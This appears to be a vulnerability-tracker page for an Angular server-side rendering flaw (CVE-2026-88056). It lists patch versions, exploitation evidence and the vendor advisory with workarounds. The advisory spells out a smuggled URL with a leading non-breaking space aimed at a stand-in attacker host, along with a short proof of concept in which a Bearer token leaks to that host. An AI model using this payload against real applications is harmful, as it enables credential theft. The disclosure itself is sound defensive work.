CVE-2026-88056: Angular · SSRF and Cross-Origin Credential Disclosure via URL Resolution Discrepancy in SSR
Affects @angular/platform-serverSource GCVE Database
Not known to be exploited : upgrade to 22.1.4 soon.
Data as of 26 Oct 2026, 10:12 UTC
Rated by Threat Radar · CVSS not yet scored by NVD
- EPSS
- 0.5% chance of exploitation in 30 days – higher than 45% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
- Patch
- Available – fixed in 22.1.4, 21.2.22, 20.3.30
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:NExploitation evidence
Disclosed: evidence found.
CVE published 10 Sep 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponised: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors
A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.
What to do
Upgrade @angular/platform-server to 22.1.4; @angular/platform-server to 21.2.22; @angular/platform-server to 20.3.30.
Affected software
| Product | Affected | Fixed in |
|---|---|---|
| npm@angular/platform-server | Affected
| Fixed in
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| npm@angular/platform-server | Affected
| Fixed in
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| npm@angular/platform-server | Affected
| Fixed in
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| npm@angular/platform-server | Affected
| Fixed in– |
Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.
Description
### Summary A discrepancy between WHATWG URL parsing and Angular SSR's URL resolution allows attackers to bypass same-origin checks and cause Server-Side Request Forgery (SSRF), potentially leaking sensitive server-side credentials. ### Technical Description When applications validate incoming URLs using the WHATWG URL standard (`new URL(input, trustedOrigin)`), Unicode whitespace characters (such as NO-BREAK SPACE `U+00A0` or ZERO WIDTH NO-BREAK SPACE `U+FEFF`) are not stripped and are evaluated as part of a same-origin relative path (e.g. `http://trusted-origin/%C2%A0//attacker.example/collect`). Consequently, these URLs successfully pass application-level same-origin checks. However, `@angular/platform-server`'s URL resolution utility (`resolveUrl` / `parseUrl`) previously executed `String.prototype.trim()`. Because JavaScript's `String.prototype.trim()` strips all Unicode whitespace (including `U+00A0`), the leading non-breaking space was removed, converting the string into a cross-origin protocol-relative URL (`//attacker.example/collect`). When resolved during server-side rendering (such as in `relativeUrlsTransformerInterceptorFn`), this caused the HTTP request to be dispatched to the attacker-controlled origin (`http://attacker.example/collect`), leaking any credentials (such as `Authorization` headers) attached by the application for the intended same-origin request. ### Impact & Reachability * **Reachability**: The vulnerability affects Angular Server-Side Rendering (SSR) applications where user-controlled input influences resource or request URLs processed by Angular's `HttpClient`, an application-level same-origin check is performed before dispatching, and sensitive server-side credentials (such as API keys or Bearer tokens) are attached to approved requests. * **Impact**: Successful exploitation allows attackers to bypass same-origin validation, triggering Server-Side Request Forgery (SSRF) and leaking sensitive server-side credentials attached to the request. **Proof of Concept:** ```ts // Interceptor performing same-origin validation const trustedOrigin = new URL('http://localhost:4000/'); const target = new URL(req.urlWithParams, trustedOrigin); if (target.origin !== trustedOrigin.origin) { throw new Error('Cross-origin request blocked'); } // Request passes validation, server attaches sensitive credential: const authenticatedReq = req.clone({ headers: req.headers.set('Authorization', 'Bearer SERVER-SECRET-TOKEN'), }); // @angular/platform-server previously trimmed the URL, converting it into // //attacker.example/collect and routing the credential to the attacker. ``` ### Workarounds * Validate and sanitize input URLs to disallow leading Unicode whitespace characters (such as `\u00A0`) before performing origin checks or passing them to `HttpClient`. * Avoid relying solely on `new URL(input, trustedOrigin).origin` for authorization if the input string may be trimmed or processed by utilities that normalize whitespace differently from the WHATWG URL standard.
References
- github.com/angular/angular/security/advisories/GHSA-f6mr-pjwc-34m4 (opens in a new tab)
- github.com/angular/angular/commit/3e924cc8dbbb57f23b262cb8f0d7e2bd0673034c (opens in a new tab)
- github.com/angular/angular/commit/5aa6d97deb9ef1de14e23748b7fa74f97d183132 (opens in a new tab)
- github.com/angular/angular/commit/71e52d1396b9cef98652929b73e08c4cde645970 (opens in a new tab)
- github.com/angular/angular/commit/9339a7a2de437ed93f9cc3da7f32d0100412d599 (opens in a new tab)
- github.com/angular/angular (opens in a new tab)
- github.com/angular/angular/releases/tag/v20.3.30 (opens in a new tab)
- github.com/angular/angular/releases/tag/v21.2.22 (opens in a new tab)
- github.com/angular/angular/releases/tag/v22.1.4 (opens in a new tab)